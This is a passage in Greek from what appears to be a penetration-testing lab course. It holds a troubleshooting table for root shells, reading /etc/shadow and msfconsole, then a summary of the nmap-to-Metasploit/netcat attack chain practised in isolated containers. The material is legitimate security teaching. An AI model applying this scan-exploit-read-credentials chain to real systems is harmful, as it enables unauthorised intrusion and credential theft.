| Το shell root δεν απαντά | Το shell είναι εκεί αλλά χωρίς prompt | Πληκτρολογήστε whoami και μετά Enter. Η απάντηση root επιβεβαιώνει τη συνεδρία. |
Αδύνατη η ανάγνωση του /etc/shadow παρά το root | Cache αντι-container | docker compose restart cible, ξαναδοκιμάστε το trigger. |
Το Ctrl+C μπλοκάρει το msfconsole | Καθαρισμός σε εξέλιξη | Περιμένετε 10 δευτερόλεπτα. |
Τι κερδίζετε από αυτό το εργαστήριο
- Ένα αντανακλαστικό εργαστηρίου: δύο containers, ένα κλειστό δίκτυο, έναν φάκελο αποδείξεων με έκδοση σε ένα volume.
- Μια αλυσίδα εργαλείων που θα ξαναπαίξουμε 12 φορές:
nmap -sn → nmap -sS → nmap -sV → msfconsole(ήnc+python). - Τη μορφή της μίνι αναφοράς: Κατάσταση / Εκμετάλλευση / Αντίκτυπος / Συστάσεις.
- Το αίσθημα, σωματικό, του τι σημαίνει να παραβιάζεις ένα μηχάνημα — χωρίς να κατεβάσετε 4 GB VM, χωρίς άδεια Windows, χωρίς BIOS προς επαναρρύθμιση. Αυτό είναι που θα σας κάνει να συνεχίσετε.
Έτοιμοι; Ας περάσουμε στο κουίζ της ενότητας.